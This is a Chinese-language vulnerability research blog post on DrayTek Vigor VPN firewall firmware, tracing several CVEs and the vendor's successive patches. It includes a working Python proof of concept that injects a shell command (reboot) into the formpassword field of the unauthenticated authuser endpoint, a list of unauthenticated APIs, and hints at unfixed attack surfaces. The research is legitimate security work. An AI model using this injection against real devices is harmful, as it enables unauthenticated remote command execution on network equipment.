前段时间问起DrayTek的大陆技术支持,才得知DrayTek Vigor 2960/3900/300B等Linux-based VPN Firewall设备已经正式停产。

回想从360 Netlab捕获的CVE-2020-8515之后,陆续有Valentin Shilnenkov的CVE-2020-10823/10824/10825/10826/10827/10828,CLP的CVE-2020-15415,我和swing的CVE-2020-14472/14473,peanuts的CVE-2020-19664,以及我最近才获得公开的CNVD-2020-17368,整个过程堪称IoT固件安全攻防的经典实例教程,感觉有必要将这个过程记录下来。

0xFF 前置内容

0x00 新冠疫情前期的在野利用

360 NetLab对于DrayTek Vigor相关在野攻击的捕获共有两篇博客,分别是——

2020年3月,捕获在野攻击,并被分配编号为CVE-2020-8515

2020年6月,从CVE-2020-8515到僵尸网络

从3月份的分析来看,漏洞模型非常简单易懂——

表单登陆过程中Keypath的命令注入(在以上博客链接中有详细解析)

  • 在处理用户登录过程时需要用户从前端传入keyPath参数作为私钥文件路径的一部分,在文件系统内寻找解密登陆凭证的私钥。
  • 而这个解密操作的实现逻辑是使用拼接命令调用openssl从而实现解密,而拼接过程中对inKey参数内容没有任何字符逃逸校验,而openssl命令中inKey参数由-inkey '/tmp/rsa/private_key_$keyPath'提供,导致前台命令注入的发生

获取验证码过程中rtick的命令注入(在以上博客链接中有详细解析)

  • 类似于以上漏洞,通过命令拼接调用/usr/sbin/captcha实现获取验证码过程中对拼接参数rtick没有任何字符逃逸校验,导致前台命令注入的发生

非常简单且无需任何前置条件的粗暴RCE是让DrayTek成为僵尸网络传播好帮手的重要原因,随后DrayTek在1.5.1版本固件提供了对这个漏洞的patch

0x01 DrayTek的第一轮patch

粗糙的代码需要简单有效的patch,于是官方给keyPath和所有rtick加了个字符逃逸检查,it works

keyPath的字符逃逸检查
rtick的字符逃逸检查

0x02 Valentin Shilnenkov的独特攻击面

Valentin Shilnenkov的六枚漏洞应当是在360 NetLab捕获漏洞的时间点左右发现的,官方在1.5.1版本固件中修复了这八枚漏洞。想看Valentin Shilnenkov的漏洞分析推荐直接阅读它的博客,毛子真猛。

他的六枚漏洞中比较精彩的漏洞是CVE-2020-10827/10828,两者漏洞模型几乎一致,就以/usr/sbin/cvmd为例。

一般我们在分析基于K-V对的文本协议服务(例如httpd)时,常常对V的处理逻辑关注过度,这就导致我们会无意中忽略K和V的提取这个过程。而恰好在/usr/sbin/cvmd处理Authorization字段中的K-V对时,提取形如K=V的字段时,提取V时将V字段未经长度校验就放入栈上定长缓冲区中,导致了溢出的发生,如下图

GG!

该漏洞的品相也很好,返回时恰好R0指向V值,于是就可以将V值作为跳板,通过跳向system完成getshell

0x03 DrayTek的第二轮patch

针对上述两个从apmd/cvmd出发的漏洞,官方给这俩binary里所有的memcpy/strncpy都加上了对第三个参数的长度校验。Did it work?

//观察此图,注意看结尾福利彩蛋,这儿其实有个坑

0x04 文件名的花式注入

CLP team在github上公开了他们的PoC,但是漏洞细节并没有过多叙述。

经过对1.5.1版本固件中的mainfunction.cgi逆向,我们发现了如下由命令拼接导致的注入点,与CVE-2020-15415的PoC符合

在cvmcfgupload借口的处理函数中发现注入点

0x05 DrayTek的第三轮patch

修复方法类似第一轮patch,给filename加了一层字符逃逸校验。

It works

0x06 意外收获与经典复刻

受到CVE-2020-8515的启发,我着重审计了mainfunction.cgi的authuser和authusersms这两个登录功能接口。

formpassword的命令注入和上文若干个命令注入的漏洞模型类似,缺少字符逃逸校验导致命令注入发生,如下图

但是难道就止步如此于此了吗?

IoT设备上web管理端往往有很多无用的self-XSS,而想要触发就得找到返回输入参数的输出点。结果发现authuser与web_portal_bypass_ok需要用户输入url参数,并在输出时会带有URL编码过的url参数。

被URL编码了,XSS没了。但是对着url的编码流程仔细一瞅,溢出有了!以web_portal_bypass_ok为例,如下图所示

接受用户的url参数
传入栈上缓冲区,等待urlencode
在栈上缓冲区将1字符变成3字符

注意这里的栈上缓冲区,IDA的反编译出现了失误。其实urlencode用到的缓冲区是在栈上动态开辟了一段空间,长度为url参数的长度。那么问题就来了,在长度为未编码字符串长度的缓冲区对字符串进行编码,导致字符串延长,从而导致栈溢出。溢出+1

此外其实还有一枚栈溢出,是位于Authorization Basic字段解析处,漏洞模型比较常见,在这里就不展开了,有兴趣的可以看这个PoC

0x07 DrayTek的第四轮patch

这一轮的patch比较敷衍。

针对CVE-2020-14472的patch增加了对formpassword的字符逃逸校验,但很不幸,被写炸了,这个会在0x0B提到。

针对CVE-2020-14473的patch质量也不太行,strcpy换成strncpy,编码过程加入长度校验,但长度校验过于粗糙,甚至写了个offbyone出来,不过所幸不能触发crash。

0x08 来自两步验证的威胁

peanuts师傅tql,一个品相非常好的无需任何前置条件的前台RCE,在toLogin2FA接口可通过HTTP_HOSTHTTP_COOKIE两个环境变量进行注入,具体分析见github

//有机会一定要写一篇环境变量注入的博客

0x09 DrayTek的第五轮patch

好像没修????

0x0A STUCK

面对官方发布的1.5.1.3版本固件头秃了很多天….

其实到这时,大多数前台RCE已经无了。于是我们将目光抛向mainfunction暴露出的大量API。但是人工审计是不可能人工审计的,于是搓个Idapython脚本恢复接口函数符号表并抽出所有接口名

action_table = 0x00043504
current_pos = action_table

def getStr(addr):
    ret_string = ''
    while True:
        if Byte(addr) != 0:
            ret_string += chr(Byte(addr))
            addr += 1
        else:
            break
    return ret_string

while True:
    func_name_addr = Dword(current_pos)
    if func_name_addr == 0:
        break
    MakeName(Dword(current_pos + 4), getStr(func_name_addr));print(getStr(func_name_addr));
    current_pos += 12

再找到鉴权函数与限制LAN口的所有xref,列出所有需要鉴权的接口名,与上文做个对比,拿到所有未鉴权远程可访问接口

set_table_detail
delete_table
rename_table
related_rename_table
uci_add_table_avm
add_table
langlist
captcha
get_validation_code
get_RSA_Key
modifyrow
status_init
logout
toLogin2FA
send_2FAcode
authuser
authusersms
sslvpn
sslvpn_update
autodiscovery_account
polling_session
get_bulletin_type
get_rule_pbulletin_message
get_rule_ubulletin_message
get_user_pbulletin_message
get_user_ubulletin_message
get_ui_mode
get_ui_model
get_enforce_https
get_items
get_serial_number
devicesession
web_portal_bypass_ok
error_code_dialog
json_usb_status
json_leds_status
ubf_client_logout
setSWMOpt

然后继续人工审计

0x0B 老洞开新花

审nm!停产设备买不到了,调试咋办,所以最后开始放弃找内存破坏,回头想绕check和字符逃逸校验的办法

好家伙,此时我又回头看了下CVE-2020-14472的patch,如下图

看似正常的字符逃逸校验
字符逃逸校验的返回值就这样不要了?

好家伙,白逃逸一波,返回值都不要了。既然逃逸失效,那我就可以用单引号双引号和&&来绕上面的非法字符检查。

于是在CVE-2020-14472的PoC基础上小改一波,单引号提前闭合、&&顺序执行,成功注入。

from sys import argv
from base64 import b64encode
import requests

data = {
    "URL": "192.168.1.1",
    "HOST": "http://192.168.1.1",
    "action": "authuser",
    "formusername": b64encode(b"test").decode(),
    "formpassword": b64encode(b"12345678'&&reboot&&echo '").decode(),
    "PHONENUMBER": argv[1]
}
header = {
    "Content-Type": "application/raw"
}
url = {
    "root": "http://192.168.1.1:80",
    "cgi": {
        "root": "/cgi-bin",
        "uri": {
            "mf": "/mainfunction.cgi",
        }
    }
}


def build_url(p1, p2=None):
    if p2:
        return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
    else:
        return url["root"] + url[p1]
    

session = requests.session()
session.post(build_url("cgi", "mf"), data=data, headers=header)

0x0C DrayTek的第六轮patch

官方看上去都懒得好好修了….patch还是有逻辑洞的,但现在暂时不打算公开

0x0D 捡漏之路(福利)

折腾了这么久DrayTek,打算把这个“漏洞靶场“的一些有趣的攻击面全部公开。估计可捡的攻击面大概如下:

  • apmd和cvmd
    • 值得一提的是,0x03中提到的第二次patch其实是有缺陷的,对大多数memcpy的第三个参数采用的是有符号的条件转移指令(比如MOVGE),而对于大多数strncpy的第三个参数采用的则是无符号的条件转移指令(比如BLS),如果字符串相减时两个字符串地址都一定程度可控并有范围冲突,则有整溢的可能存在
    • 但是memcpy族系函数的调用太多了,审不过来
  • json与xml解析的自研库
    • 有兴趣的朋友可以试试fuzz和bindiff这两条路子
  • 常规web服务的后台命令注入应该还有一些

0x0E 最后

人生的第一个正儿八经的前台RCE就是去年从DrayTek身上薅下来的,这款设备停产了其实还挺不舍的(再也没法欺负弱小了23333),如果大家对本文有什么疑惑,欢迎邮件联系我~

本文最后的最后,感谢swing、H4lo、MozhuCY、peanuts等师傅在漏洞挖掘过程中的提供的各种帮助与启发